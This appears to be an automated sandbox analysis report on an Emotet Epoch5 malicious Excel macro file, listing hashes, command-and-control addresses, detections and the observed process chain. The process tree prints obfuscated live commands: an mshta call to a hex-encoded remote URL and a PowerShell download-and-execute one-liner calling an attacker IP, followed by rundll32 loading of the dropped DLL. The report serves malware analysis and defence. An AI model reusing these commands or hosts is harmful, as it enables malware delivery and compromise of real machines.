emotet | d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb

General

Target

d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm
Size

114KB
MD5

f8ecaf3d4168b075f418c121a763ae0f
SHA1

cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3
SHA256

d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb
SHA512

bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2572	2752	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

29 1028 mshta.exe
43 2680 powershell.exe
45 2680 powershell.exe
50 3756 rundll32.exe
51 3756 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2112 rundll32.exe
2484 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Tacmnymkkasivcq\tudzi.bfk rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3820 1028 WerFault.exe mshta.exe

flow	pid	process
29	1028	mshta.exe
43	2680	powershell.exe
45	2680	powershell.exe
50	3756	rundll32.exe
51	3756	rundll32.exe

pid	process
2112	rundll32.exe
2484	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Tacmnymkkasivcq\tudzi.bfk	rundll32.exe

pid	pid_target	process	target process
3820	1028	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2752 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
2680	powershell.exe
2680	powershell.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
2680	powershell.exe
3756	rundll32.exe
3756	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2680 powershell.exe
Token: SeDebugPrivilege 3820 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	3820	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2752 wrote to memory of 2572	2752	EXCEL.EXE	cmd.exe
PID 2752 wrote to memory of 2572	2752	EXCEL.EXE	cmd.exe
PID 2572 wrote to memory of 1028	2572	cmd.exe	mshta.exe
PID 2572 wrote to memory of 1028	2572	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2680	1028	mshta.exe	powershell.exe
PID 1028 wrote to memory of 2680	1028	mshta.exe	powershell.exe
PID 2680 wrote to memory of 64	2680	powershell.exe	cmd.exe
PID 2680 wrote to memory of 64	2680	powershell.exe	cmd.exe
PID 64 wrote to memory of 2112	64	cmd.exe	rundll32.exe
PID 64 wrote to memory of 2112	64	cmd.exe	rundll32.exe
PID 64 wrote to memory of 2112	64	cmd.exe	rundll32.exe
PID 2112 wrote to memory of 2484	2112	rundll32.exe	rundll32.exe
PID 2112 wrote to memory of 2484	2112	rundll32.exe	rundll32.exe
PID 2112 wrote to memory of 2484	2112	rundll32.exe	rundll32.exe
PID 2484 wrote to memory of 828	2484	rundll32.exe	rundll32.exe
PID 2484 wrote to memory of 828	2484	rundll32.exe	rundll32.exe
PID 2484 wrote to memory of 828	2484	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 3756	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 3756	828	rundll32.exe	rundll32.exe
PID 828 wrote to memory of 3756	828	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2752

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2572

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:64

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2112

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2484

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tacmnymkkasivcq\tudzi.bfk",SMtTHDWQvB
8⤵
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tacmnymkkasivcq\tudzi.bfk",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3756

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1028 -s 1660
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3820

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
887fff1f67c59bd1a47f8946e7a8a02b

SHA1
7605eeff4092d746c62d8fca63a2b785bc56ea4c

SHA256
5fbac6c91e83364b379e8ad4d6b9be86216a7db84fe8b2297a2b1e21e490b971

SHA512
d7b7a8be2b726e5de12d148a2b4b677e4e55dc43e9cde55d0edfbfad7407cf0a72871cdb8a7444df7a2c0fac734dcf5be53999c084c0f03ac31f603c0c91b2f8

Download Submit
\Users\Public\Documents\ssd.dll

MD5
887fff1f67c59bd1a47f8946e7a8a02b

SHA1
7605eeff4092d746c62d8fca63a2b785bc56ea4c

SHA256
5fbac6c91e83364b379e8ad4d6b9be86216a7db84fe8b2297a2b1e21e490b971

SHA512
d7b7a8be2b726e5de12d148a2b4b677e4e55dc43e9cde55d0edfbfad7407cf0a72871cdb8a7444df7a2c0fac734dcf5be53999c084c0f03ac31f603c0c91b2f8

Download Submit
\Users\Public\Documents\ssd.dll

MD5
887fff1f67c59bd1a47f8946e7a8a02b

SHA1
7605eeff4092d746c62d8fca63a2b785bc56ea4c

SHA256
5fbac6c91e83364b379e8ad4d6b9be86216a7db84fe8b2297a2b1e21e490b971

SHA512
d7b7a8be2b726e5de12d148a2b4b677e4e55dc43e9cde55d0edfbfad7407cf0a72871cdb8a7444df7a2c0fac734dcf5be53999c084c0f03ac31f603c0c91b2f8

Download Submit
memory/828-336-0x0000000004720000-0x0000000004748000-memory.dmp

Filesize
160KB

Download
memory/2112-320-0x0000000004250000-0x0000000004278000-memory.dmp

Filesize
160KB

Download
memory/2484-323-0x0000000004A00000-0x0000000004A28000-memory.dmp

Filesize
160KB

Download
memory/2484-335-0x0000000005260000-0x0000000005288000-memory.dmp

Filesize
160KB

Download
memory/2484-332-0x0000000005100000-0x0000000005128000-memory.dmp

Filesize
160KB

Download
memory/2484-330-0x00000000050A0000-0x00000000050C8000-memory.dmp

Filesize
160KB

Download
memory/2484-327-0x0000000005040000-0x0000000005068000-memory.dmp

Filesize
160KB

Download
memory/2680-307-0x000002C4C4860000-0x000002C4DC8C0000-memory.dmp

Filesize
384.4MB

Download
memory/2680-328-0x000002C4C4860000-0x000002C4DC8C0000-memory.dmp

Filesize
384.4MB

Download
memory/2680-270-0x000002C4DC9A0000-0x000002C4DC9C2000-memory.dmp

Filesize
136KB

Download
memory/2680-291-0x000002C4DCC60000-0x000002C4DCC9C000-memory.dmp

Filesize
240KB

Download
memory/2680-302-0x000002C4DD170000-0x000002C4DD1E6000-memory.dmp

Filesize
472KB

Download
memory/2680-312-0x000002C4C4860000-0x000002C4DC8C0000-memory.dmp

Filesize
384.4MB

Download
memory/2752-117-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2752-127-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2752-115-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2752-118-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2752-128-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/2752-116-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2752-129-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/3756-338-0x0000000004850000-0x0000000004878000-memory.dmp

Filesize
160KB

Download
memory/3756-342-0x0000000005030000-0x0000000005058000-memory.dmp

Filesize
160KB

Download
memory/3756-344-0x0000000005110000-0x0000000005138000-memory.dmp

Filesize
160KB

Download
memory/3756-346-0x0000000005200000-0x0000000005228000-memory.dmp

Filesize
160KB

Download
memory/3756-352-0x0000000005410000-0x0000000005438000-memory.dmp

Filesize
160KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads